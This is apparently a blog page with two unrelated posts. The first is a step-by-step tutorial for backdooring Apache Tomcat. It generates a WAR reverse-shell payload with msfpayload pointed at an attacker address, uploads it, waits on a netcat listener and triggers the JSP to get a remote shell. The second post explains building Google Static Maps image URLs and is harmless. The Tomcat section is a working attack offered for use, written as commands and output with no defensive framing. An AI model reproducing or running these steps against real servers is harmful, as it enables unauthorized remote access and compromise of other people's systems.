Hacking Tomcat using Metasploit’s WAR payloads

Facing a tomcat server.. and need to upload a WAR backdoor…??, well… we can create a WAR backdoor very easily with Metasploit, ok follow this steps:

1. Creating the backdoor.

dudul@banget:~$ msfpayload linux/x86/shell_reverse_tcp LHOST=172.16.96.1 W > dudul.war
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell_reverse_tcp
Length: 71
Options: {“LHOST”=>”172.16.96.1″}

it will create a WAR file contain a random name for jsp backdoor file

2. Upload the WAR file.

3. Use netcat to listen for the reverse shell connection.

dudul@banget:~$ nc.traditional -lvp 4444
listening on [any] 4444 …

4. Access the backdoor with the web browser.

http://172.16.96.140:8080/dudul/spwigfeikmv.jsp

msf create a random jsp file, so… make sure to access the right jsp file

5. Boom… we got a reverse shell connection. 

[source: http://www.digital-echidna.org/2011/05/create-a-war-backdoor-with-metasploit/]

Create Google Maps Images using a Link

Here's a way to create images of locations from Google Maps. All that is needed is a url.

http://maps.google.com/maps/api/staticmap?
center=Brooklyn+Bridge,New+York,NY
&zoom=14
&size=400x400
&maptype=hybrid
&format=png
&sensor=false

Click here to view the image.

The above link will generate a png image of the Google Map location specified i.e Brooklyn Bridge. Wanna create a different image? It's not that difficult to understand; just replace the following in the url:

1. Replace the Brooklyn+Bridge,New+York,NY part to any thing else. Let's sayGateway+of+India.

2. Similarly, you can adjust the zoom, size of image to create, format (accepted values are jpg, png, png32, gif, jpg-baseline), maptype(accepted values are roadmap,satellite,terrain,hybrid).

This uses the Google Static Maps API. More info and options are provided here.

That's all. Enjoy!